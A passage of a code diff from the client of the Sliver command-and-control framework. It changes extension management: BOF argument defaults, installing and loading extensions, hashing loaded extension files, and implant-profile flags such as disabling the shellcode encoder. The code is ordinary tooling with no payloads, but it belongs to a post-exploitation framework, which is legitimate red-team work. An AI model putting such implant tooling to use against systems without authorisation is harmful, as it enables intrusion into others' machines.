return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofProcessWStringArg processes a wide string argument
|
||||
func bofProcessWStringArg(fs *flag.FlagSet, argDef *extensionArgument, wstringValues map[string]*string,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := wstringValues[argDef.Name]
|
||||
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
err := argsBuffer.AddWString(*ptr)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add wstring argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofProcessIntArg processes an integer argument
|
||||
func bofProcessIntArg(fs *flag.FlagSet, argDef *extensionArgument, intValues map[string]*int,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := intValues[argDef.Name]
|
||||
flagWasSet := bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
err := argsBuffer.AddInt(uint32(*ptr))
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add int argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofProcessShortArg processes a short integer argument
|
||||
func bofProcessShortArg(fs *flag.FlagSet, argDef *extensionArgument, shortValues map[string]*int,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := shortValues[argDef.Name]
|
||||
flagWasSet := bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
err := argsBuffer.AddShort(uint16(*ptr))
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add short argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofProcessFileArg processes a file argument
|
||||
func bofProcessFileArg(fs *flag.FlagSet, argDef *extensionArgument, fileValues map[string]*string,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := fileValues[argDef.Name]
|
||||
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
// Validate file exists and read it
|
||||
data, err := os.ReadFile(*ptr)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("error reading file for argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
err = argsBuffer.AddData(data)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add file data for argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofApplyDefaultValue applies a default value based on the argument definition
|
||||
func bofApplyDefaultValue(argDef *extensionArgument, argsBuffer core.BOFArgsBuffer) error {
|
||||
// Try to use default value from manifest if available
|
||||
if argDef.Default != nil {
|
||||
switch argDef.Type {
|
||||
case "string":
|
||||
// Handle string default - could be string literal or numeric in JSON
|
||||
defaultVal, ok := argDef.Default.(string)
|
||||
if !ok {
|
||||
// Try to convert from other types
|
||||
defaultVal = fmt.Sprintf("%v", argDef.Default)
|
||||
}
|
||||
err := argsBuffer.AddString(defaultVal)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default string: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:%s (default)\n", argDef.Name, defaultVal)
|
||||
|
||||
case "wstring":
|
||||
// Handle wstring default
|
||||
defaultVal, ok := argDef.Default.(string)
|
||||
if !ok {
|
||||
defaultVal = fmt.Sprintf("%v", argDef.Default)
|
||||
}
|
||||
err := argsBuffer.AddWString(defaultVal)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default wstring: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:%s (default)\n", argDef.Name, defaultVal)
|
||||
|
||||
case "int", "integer":
|
||||
// Handle int default - could be number or string in JSON
|
||||
var defaultInt uint32
|
||||
|
||||
// Try as number first
|
||||
numVal, ok := argDef.Default.(float64) // JSON unmarshals numbers as float64
|
||||
if ok {
|
||||
defaultInt = uint32(numVal)
|
||||
} else {
|
||||
// Try as string
|
||||
strVal, ok := argDef.Default.(string)
|
||||
if ok {
|
||||
val, err := strconv.ParseUint(strVal, 10, 32)
|
||||
if err == nil {
|
||||
defaultInt = uint32(val)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
err := argsBuffer.AddInt(defaultInt)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default int: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:%d (default)\n", argDef.Name, defaultInt)
|
||||
|
||||
case "short":
|
||||
// Handle short default - could be number or string in JSON
|
||||
var defaultShort uint16
|
||||
|
||||
// Try as number first
|
||||
numVal, ok := argDef.Default.(float64) // JSON unmarshals numbers as float64
|
||||
if ok {
|
||||
defaultShort = uint16(numVal)
|
||||
} else {
|
||||
// Try as string
|
||||
strVal, ok := argDef.Default.(string)
|
||||
if ok {
|
||||
val, err := strconv.ParseUint(strVal, 10, 16)
|
||||
if err == nil {
|
||||
defaultShort = uint16(val)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
err := argsBuffer.AddShort(defaultShort)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default short: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:%d (default)\n", argDef.Name, defaultShort)
|
||||
|
||||
case "file":
|
||||
// Default for file doesn't really make sense, but handle for completeness
|
||||
err := argsBuffer.AddData([]byte{})
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default file data: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
|
||||
}
|
||||
} else {
|
||||
// No default specified in manifest, use type-appropriate zero values
|
||||
switch argDef.Type {
|
||||
case "string":
|
||||
err := argsBuffer.AddString("")
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default string: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
|
||||
|
||||
case "wstring":
|
||||
err := argsBuffer.AddWString("")
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default wstring: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
|
||||
|
||||
case "int", "integer":
|
||||
err := argsBuffer.AddInt(0)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default int: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:0 (default)\n", argDef.Name)
|
||||
|
||||
case "short":
|
||||
err := argsBuffer.AddShort(0)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default short: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:0 (default)\n", argDef.Name)
|
||||
|
||||
case "file":
|
||||
// Empty data for optional file
|
||||
err := argsBuffer.AddData([]byte{})
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default file data: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// bofDebugPrintParsedFlags prints information about the parsed flags
|
||||
func bofDebugPrintParsedFlags(fs *flag.FlagSet, ext *ExtCommand,
|
||||
stringValues map[string]*string,
|
||||
wstringValues map[string]*string,
|
||||
intValues map[string]*int,
|
||||
shortValues map[string]*int,
|
||||
fileValues map[string]*string) {
|
||||
|
||||
fmt.Println("parsed flags:")
|
||||
|
||||
for _, arg := range ext.Arguments {
|
||||
flagName := arg.Name
|
||||
wasProvided := bofFlagWasProvided(fs, flagName)
|
||||
|
||||
if wasProvided {
|
||||
switch arg.Type {
|
||||
case "string":
|
||||
fmt.Printf(" -%s:%s\n", flagName, *stringValues[flagName])
|
||||
case "wstring":
|
||||
fmt.Printf(" -%s:%s\n", flagName, *wstringValues[flagName])
|
||||
case "int", "integer":
|
||||
fmt.Printf(" -%s:%d\n", flagName, *intValues[flagName])
|
||||
case "short":
|
||||
fmt.Printf(" -%s:%d\n", flagName, *shortValues[flagName])
|
||||
case "file":
|
||||
fmt.Printf(" -%s:%s\n", flagName, *fileValues[flagName])
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// bofFlagWasProvided checks if a flag was explicitly set
|
||||
func bofFlagWasProvided(fs *flag.FlagSet, name string) bool {
|
||||
provided := false
|
||||
fs.Visit(func(f *flag.Flag) {
|
||||
if f.Name == name {
|
||||
provided = true
|
||||
}
|
||||
})
|
||||
return provided
|
||||
}
|
||||
@@ -1,34 +1,28 @@
|
||||
package extensions
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/command/use"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
// Commands returns the “ command and its subcommands.
|
||||
// Commands returns the 'extensions' command and its subcommands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
extensionCmd := &cobra.Command{
|
||||
Use: consts.ExtensionsStr,
|
||||
Short: "Manage extensions",
|
||||
Long: help.GetHelpFor([]string{consts.ExtensionsStr}),
|
||||
GroupID: consts.ExecutionHelpGroup,
|
||||
GroupID: consts.GenericHelpGroup,
|
||||
Run: func(cmd *cobra.Command, _ []string) {
|
||||
ExtensionsCmd(cmd, con)
|
||||
},
|
||||
}
|
||||
|
||||
extensionCmd.AddCommand(&cobra.Command{
|
||||
Use: consts.ListStr,
|
||||
Short: "List extensions loaded in the current session or beacon",
|
||||
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ExtensionsListCmd(cmd, con, args)
|
||||
},
|
||||
})
|
||||
|
||||
extensionLoadCmd := &cobra.Command{
|
||||
Use: consts.LoadStr,
|
||||
Short: "Temporarily load an extension from a local directory",
|
||||
@@ -66,3 +60,30 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
return []*cobra.Command{extensionCmd}
|
||||
}
|
||||
|
||||
func SliverCommands(con *console.SliverClient) []*cobra.Command {
|
||||
extensionCmd := &cobra.Command{
|
||||
Use: consts.ExtensionsStr,
|
||||
Short: "Manage extensions",
|
||||
Long: help.GetHelpFor([]string{consts.ExtensionsStr}),
|
||||
GroupID: consts.InfoHelpGroup,
|
||||
Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), // restrict to session targets since we cannot `list` "loaded" extensions from beacon mode
|
||||
}
|
||||
|
||||
listCmd := &cobra.Command{
|
||||
Use: consts.ListStr,
|
||||
Short: "List extensions loaded in the current session",
|
||||
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ExtensionsListCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("use", false, listCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
extensionCmd.AddCommand(listCmd)
|
||||
|
||||
carapace.Gen(listCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con))
|
||||
|
||||
return []*cobra.Command{extensionCmd}
|
||||
}
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -35,7 +36,7 @@ import (
|
||||
|
||||
// ExtensionsCmd - List information about installed extensions.
|
||||
func ExtensionsCmd(cmd *cobra.Command, con *console.SliverClient) {
|
||||
if 0 < len(getInstalledManifests()) {
|
||||
if len(GetAllExtensionManifests()) > 0 {
|
||||
PrintExtensions(con)
|
||||
} else {
|
||||
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
|
||||
@@ -67,8 +68,12 @@ func PrintExtensions(con *console.SliverClient) {
|
||||
for _, extension := range loadedExtensions {
|
||||
//for _, extension := range extensionm.ExtCommand {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[extension.Manifest.Name]; ok {
|
||||
installed = "✅"
|
||||
//if _, ok := installedManifests[extension.Manifest.Name]; ok {
|
||||
for _, installedManifest := range installedManifests {
|
||||
if extension.Manifest.RootPath == installedManifest.RootPath {
|
||||
installed = "✅"
|
||||
break
|
||||
}
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
extension.Manifest.Name,
|
||||
@@ -97,6 +102,9 @@ func extensionPlatforms(extension *ExtCommand) []string {
|
||||
return keys
|
||||
}
|
||||
|
||||
// getInstalledManifests - Returns a mapping of extension names to their parsed manifest objects.
|
||||
// Reads all installed extension manifests from disk, ignoring any that cannot be read or parsed.
|
||||
// The returned manifests have their RootPath set to the directory containing their manifest file.
|
||||
func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
manifestPaths := assets.GetInstalledExtensionManifests()
|
||||
installedManifests := map[string]*ExtensionManifest{}
|
||||
@@ -110,11 +118,48 @@ func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest.RootPath = filepath.Dir(manifestPath)
|
||||
installedManifests[manifest.Name] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
|
||||
// getTemporarilyLoadedManifests returns a map of extension manifests that are currently
|
||||
// loaded into memory but not permanently installed. The map is keyed by the manifest's
|
||||
// Name field.
|
||||
func getTemporarilyLoadedManifests() map[string]*ExtensionManifest {
|
||||
tempManifests := map[string]*ExtensionManifest{}
|
||||
for name, manifest := range loadedManifests {
|
||||
tempManifests[name] = manifest
|
||||
}
|
||||
return tempManifests
|
||||
}
|
||||
|
||||
// GetAllExtensionManifests returns a combined list of manifest file paths from
|
||||
// both installed and temporarily loaded extensions
|
||||
func GetAllExtensionManifests() []string {
|
||||
manifestPaths := make(map[string]struct{}) // use map for deduplication
|
||||
|
||||
// Add installed manifests
|
||||
for _, manifest := range getInstalledManifests() {
|
||||
manifestPath := filepath.Join(manifest.RootPath, ManifestFileName)
|
||||
manifestPaths[manifestPath] = struct{}{}
|
||||
}
|
||||
|
||||
// Add temporarily loaded manifests
|
||||
for _, manifest := range getTemporarilyLoadedManifests() {
|
||||
manifestPath := filepath.Join(manifest.RootPath, ManifestFileName)
|
||||
manifestPaths[manifestPath] = struct{}{}
|
||||
}
|
||||
|
||||
// Convert to slice
|
||||
paths := make([]string, 0, len(manifestPaths))
|
||||
for path := range manifestPaths {
|
||||
paths = append(paths, path)
|
||||
}
|
||||
return paths
|
||||
}
|
||||
|
||||
// ExtensionsCommandNameCompleter - Completer for installed extensions command names.
|
||||
func ExtensionsCommandNameCompleter(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
|
||||
@@ -43,7 +43,22 @@ func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
InstallFromDir(extLocalPath, true, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
// InstallFromDir installs a Sliver extension from either a local directory or gzipped archive.
|
||||
// It reads the extension manifest, validates it, and copies all required files to the extensions
|
||||
// directory. If an extension with the same name already exists, it can optionally prompt for
|
||||
// overwrite confirmation.
|
||||
//
|
||||
// Parameters:
|
||||
// - extLocalPath: Path to the source directory or gzipped archive containing the extension
|
||||
// - promptToOverwrite: If true, prompts for confirmation before overwriting existing extension
|
||||
// - con: Sliver console client for displaying status and error messages
|
||||
// - isGz: Whether the source is a gzipped archive (true) or directory (false)
|
||||
//
|
||||
// The function will return early with error messages printed to console if:
|
||||
// - The manifest cannot be read or parsed
|
||||
// - Required directories cannot be created
|
||||
// - File copy operations fail
|
||||
// - User declines overwrite when prompted
|
||||
func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.SliverClient, isGz bool) {
|
||||
var manifestData []byte
|
||||
var err error
|
||||
@@ -64,8 +79,15 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
|
||||
return
|
||||
}
|
||||
|
||||
// Use package name if available, otherwise use extension name
|
||||
// (Note, for v1 manifests this will actually be command_name)
|
||||
packageID := manifestF.Name
|
||||
if manifestF.PackageName != "" {
|
||||
packageID = manifestF.PackageName
|
||||
}
|
||||
|
||||
//create repo path
|
||||
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestF.Name))
|
||||
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(packageID))
|
||||
if _, err := os.Stat(minstallPath); !os.IsNotExist(err) {
|
||||
if promptToOverwrite {
|
||||
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
|
||||
|
||||
@@ -20,12 +20,111 @@ package extensions
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ExtensionMatch holds the details of a matched extension
|
||||
|
||||
type ExtensionMatch struct {
|
||||
CommandName string
|
||||
Hash string
|
||||
BinPath string
|
||||
}
|
||||
|
||||
// FindExtensionMatches searches through loaded extensions for matching hashes
|
||||
// Returns a map of hash to ExtensionMatch (match will be nil if hash wasn't found)
|
||||
func FindExtensionMatches(targetHashes []string) map[string]*ExtensionMatch {
|
||||
results := make(map[string]*ExtensionMatch)
|
||||
pathCache := make(map[string]*ExtensionMatch)
|
||||
|
||||
// Initialize results map with all target hashes
|
||||
for _, hash := range targetHashes {
|
||||
results[hash] = nil
|
||||
}
|
||||
|
||||
// Search for matches
|
||||
for _, extCmd := range loadedExtensions {
|
||||
if extCmd == nil || len(extCmd.Files) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, file := range extCmd.Files {
|
||||
fullPath := filepath.Join(extCmd.Manifest.RootPath, file.Path)
|
||||
|
||||
// Check cache first
|
||||
var match *ExtensionMatch
|
||||
if cached, exists := pathCache[fullPath]; exists {
|
||||
match = cached
|
||||
} else {
|
||||
// Calculate hash if not cached
|
||||
fileData, err := os.ReadFile(fullPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
hashBytes := sha256.Sum256(fileData)
|
||||
fileHash := hex.EncodeToString(hashBytes[:])
|
||||
|
||||
match = &ExtensionMatch{
|
||||
CommandName: extCmd.CommandName,
|
||||
Hash: fileHash,
|
||||
BinPath: fullPath,
|
||||
}
|
||||
pathCache[fullPath] = match
|
||||
}
|
||||
|
||||
if slices.Contains(targetHashes, match.Hash) {
|
||||
results[match.Hash] = match
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// PrintExtensionMatches prints the extension matches in a formatted table
|
||||
func PrintExtensionMatches(matches map[string]*ExtensionMatch, con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Sha256 Hash",
|
||||
"Bin Path",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Command Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for hash, match := range matches {
|
||||
if match != nil {
|
||||
tw.AppendRow(table.Row{
|
||||
match.CommandName,
|
||||
hash,
|
||||
match.BinPath,
|
||||
})
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
"",
|
||||
hash,
|
||||
"",
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
// ExtensionsListCmd - List all extension loaded on the active session/beacon.
|
||||
func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
@@ -45,10 +144,12 @@ func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
con.PrintErrorf("%s\n", extList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(extList.Names) > 0 {
|
||||
con.PrintInfof("Loaded extensions:\n")
|
||||
for _, ext := range extList.Names {
|
||||
con.Printf("- %s\n", ext)
|
||||
}
|
||||
|
||||
if len(extList.Names) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Loaded extensions:\n\n")
|
||||
matches := FindExtensionMatches(extList.Names)
|
||||
PrintExtensionMatches(matches, con)
|
||||
}
|
||||
@@ -80,6 +80,7 @@ type ExtensionManifest_ struct {
|
||||
|
||||
type ExtensionManifest struct {
|
||||
Name string `json:"name"`
|
||||
PackageName string `json:"package_name"`
|
||||
Version string `json:"version"`
|
||||
ExtensionAuthor string `json:"extension_author"`
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
@@ -115,17 +116,24 @@ type extensionFile struct {
|
||||
}
|
||||
|
||||
type extensionArgument struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Desc string `json:"desc"`
|
||||
Optional bool `json:"optional"`
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Desc string `json:"desc"`
|
||||
Optional bool `json:"optional"`
|
||||
Default interface{} `json:"default,omitempty"`
|
||||
}
|
||||
|
||||
func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range e.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
|
||||
if e.Manifest.RootPath != "" {
|
||||
// Use RootPath for temporarily loaded extensions
|
||||
filePath = path.Join(e.Manifest.RootPath, extFile.Path)
|
||||
} else {
|
||||
// Fall back to extensions dir for installed extensions
|
||||
filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -140,10 +148,19 @@ func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (strin
|
||||
return filePath, nil
|
||||
}
|
||||
|
||||
// ExtensionLoadCmd - Load extension command.
|
||||
// ExtensionLoadCmd - Temporarily installs an extension from a local directory into the client.
|
||||
// The extension must contain a valid manifest file. If commands from the extension
|
||||
// already exist, the user will be prompted to overwrite them.
|
||||
func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
dirPath := args[0]
|
||||
// dirPath := ctx.Args.String("dir-path")
|
||||
|
||||
// Add directory check
|
||||
fileInfo, err := os.Stat(dirPath)
|
||||
if err != nil || !fileInfo.IsDir() {
|
||||
con.PrintErrorf("Path is not a directory: %s\n", dirPath)
|
||||
return
|
||||
}
|
||||
|
||||
manifest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
if err != nil {
|
||||
return
|
||||
@@ -165,7 +182,11 @@ func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
}
|
||||
}
|
||||
|
||||
// LoadExtensionManifest - Parse extension files.
|
||||
// LoadExtensionManifest loads and parses an extension manifest file from the given path.
|
||||
// It registers each command defined in the manifest into the loadedExtensions map
|
||||
// and registers the complete manifest into loadedManifests. A single manifest may
|
||||
// contain multiple extension commands. The manifest's RootPath is set to its containing
|
||||
// directory. Returns the parsed manifest and any errors encountered.
|
||||
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
data, err := os.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
@@ -279,7 +300,13 @@ func validManifest(manifest *ExtensionManifest) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// ExtensionRegisterCommand - Register a new extension command
|
||||
// ExtensionRegisterCommand adds an extension command to the cobra command system.
|
||||
// It validates the extension's arguments, updates the loadedExtensions map, and
|
||||
// creates a cobra.Command with proper usage text, help documentation, and argument
|
||||
// handling. The command is added as a subcommand to the provided parent cobra.Command.
|
||||
// Arguments are displayed in the help text as uppercase, with optional args in square
|
||||
// brackets. The help text includes sections for command usage, description, and detailed
|
||||
// argument specifications.
|
||||
func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *console.SliverClient) {
|
||||
if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil {
|
||||
con.PrintErrorf(errInvalidArgs.Error())
|
||||
@@ -287,7 +314,6 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
|
||||
}
|
||||
|
||||
loadedExtensions[extCmd.CommandName] = extCmd
|
||||
//helpMsg := extCmd.Help
|
||||
|
||||
usage := strings.Builder{}
|
||||
usage.WriteString(extCmd.CommandName)
|
||||
@@ -339,9 +365,9 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
|
||||
|
||||
// Command
|
||||
extensionCmd := &cobra.Command{
|
||||
Use: usage.String(), //extCmd.CommandName,
|
||||
//Short: helpMsg.String(), doesn't appear to be used?
|
||||
Long: help.FormatHelpTmpl(longHelp.String()),
|
||||
Use: usage.String(),
|
||||
Short: extCmd.Help,
|
||||
Long: help.FormatHelpTmpl(longHelp.String()),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
runExtensionCmd(cmd, con, args)
|
||||
},
|
||||
@@ -559,11 +585,11 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
extName = ext.DependsOn
|
||||
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
// Regular DLL
|
||||
extensionArgs, err = getExtArgs(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("ext args error: %s\n", err)
|
||||
return
|
||||
// Regular DLL - Just join the arguments with spaces
|
||||
if len(args) > 0 {
|
||||
extensionArgs = []byte(strings.Join(args, " "))
|
||||
} else {
|
||||
extensionArgs = []byte{}
|
||||
}
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
@@ -771,7 +797,7 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
parsedArgs, err := getExtArgs(cmd, args, binPath, ext)
|
||||
parsedArgs, err := ParseFlagArgumentsToBuffer(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -86,12 +87,35 @@ func RemoveExtensionByManifestName(manifestName string, con *console.SliverClien
|
||||
return false, errors.New("command name is required")
|
||||
}
|
||||
if man, ok := loadedManifests[manifestName]; ok {
|
||||
//foudn the manifest
|
||||
//delet it
|
||||
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
|
||||
// Found the manifest
|
||||
var extPath string
|
||||
if man.RootPath != "" {
|
||||
// Use RootPath for temporarily loaded extensions
|
||||
extPath = man.RootPath
|
||||
} else {
|
||||
// Fall back to extensions dir for installed extensions
|
||||
extPath = filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
|
||||
}
|
||||
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// If path is outside extensions directory, prompt for confirmation
|
||||
if !strings.HasPrefix(extPath, assets.GetExtensionsDir()) {
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension directory from filesystem?", manifestName)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
// Skip the forceRemoveAll but continue with the rest
|
||||
delete(loadedManifests, manifestName)
|
||||
for _, cmd := range man.ExtCommand {
|
||||
delete(loadedExtensions, cmd.CommandName)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
|
||||
forceRemoveAll(extPath)
|
||||
delete(loadedManifests, manifestName)
|
||||
for _, cmd := range man.ExtCommand {
|
||||
|
||||
@@ -143,6 +143,8 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("save", "s", "", "directory/file to the binary to")
|
||||
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
|
||||
f.StringP("name", "n", "", "Implant name")
|
||||
|
||||
})
|
||||
flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
@@ -353,6 +355,7 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
|
||||
(*comp)["format"] = FormatCompleter()
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
|
||||
